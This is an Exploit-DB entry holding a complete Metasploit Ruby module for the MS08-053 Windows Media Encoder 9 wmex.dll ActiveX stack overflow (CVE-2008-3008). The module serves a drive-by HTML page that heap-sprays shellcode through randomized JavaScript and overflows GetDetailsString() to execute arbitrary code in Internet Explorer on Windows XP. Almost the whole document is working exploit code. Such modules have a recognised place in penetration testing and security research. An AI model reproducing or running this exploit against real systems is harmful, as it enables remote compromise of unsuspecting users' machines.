Exploit-DB #16521
Description: Microsoft Windows Media Encoder 9 - 'wmex.dll' ActiveX Buffer Overflow (MS08-053) (Metasploit)
Type: remote
Platform: windows
Date: 2010-05-09
Author: Metasploit

Exploit:
##
# $Id: ms08_053_mediaencoder.rb 9262 2010-05-09 17:45:00Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::HttpServer::HTML

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Windows Media Encoder 9 wmex.dll ActiveX Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack buffer overflow in Windows Media Encoder 9. When
				sending an overly long string to the GetDetailsString() method of wmex.dll
				an attacker may be able to execute arbitrary code.
			},
			'License'        => MSF_LICENSE,
			'Author'         => [ 'MC' ],
			'Version'        => '$Revision: 9262 $',
			'References'     =>
				[
					[ 'CVE', '2008-3008' ],
					[ 'OSVDB', '47962' ],
					[ 'BID', '31065' ],
					[ 'MSB', 'MS08-053' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},
			'Payload'        =>
				{
					'Space'         => 1024,
					'BadChars'      => "\x00",
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Windows XP SP2-SP3 IE 6.0 SP0-SP2', { 'Ret' => 0x0C0C0C0C } ]
				],
			'DisclosureDate' => 'Sep 9 2008',
			'DefaultTarget'  => 0))
	end

	def autofilter
		false
	end

	def check_dependencies
		use_zlib
	end

	def on_request_uri(cli, request)
		# Re-generate the payload.
		return if ((p = regenerate_payload(cli)) == nil)

		# Encode the shellcode.
		shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

		# Create some nops.
		nops    = Rex::Text.to_unescape(make_nops(4))

		# Set the return.
		ret     = Rex::Text.to_unescape([target.ret].pack('V'))

		# Randomize the javascript variable names.
		vname  = rand_text_alpha(rand(100) + 1)
		var_i  = rand_text_alpha(rand(30)  + 2)
		rand1  = rand_text_alpha(rand(100) + 1)
		rand2  = rand_text_alpha(rand(100) + 1)
		rand3  = rand_text_alpha(rand(100) + 1)
		rand4  = rand_text_alpha(rand(100) + 1)
		rand5  = rand_text_alpha(rand(100) + 1)
		rand6  = rand_text_alpha(rand(100) + 1)
		rand7  = rand_text_alpha(rand(100) + 1)
		rand8  = rand_text_alpha(rand(100) + 1)

		content = %Q|
		<html>
			<object id='#{vname}' classid='clsid:A8D3AD02-7508-4004-B2E9-AD33F087F43C'></object>
			<script language="JavaScript">
			var #{rand1} = unescape('#{shellcode}');
			var #{rand2} = unescape('#{nops}');
			var #{rand3} = 20;
			var #{rand4} = #{rand3} + #{rand1}.length;
			while (#{rand2}.length < #{rand4}) #{rand2} += #{rand2};
			var #{rand5} = #{rand2}.substring(0,#{rand4});
			var #{rand6} = #{rand2}.substring(0,#{rand2}.length - #{rand4});
			while (#{rand6}.length + #{rand4} < 0x40000) #{rand6} = #{rand6} + #{rand6} + #{rand5};
			var #{rand7} = new Array();
			for (#{var_i} = 0; #{var_i} < 600; #{var_i}++){ #{rand7}[#{var_i}] = #{rand6} + #{rand1} }
			var #{rand8} = "";
			for (#{var_i} = 0; #{var_i} < 1024; #{var_i}++) { #{rand8} = #{rand8} + unescape('#{ret}') }
			#{vname}.GetDetailsString(#{rand8}, 1);
			</script>
		</html>
			|

		content = Rex::Text.randomize_space(content)

		print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")

		# Transmit the response to the client
		send_response_html(cli, content)

		# Handle the payload
		handler(cli)
	end

end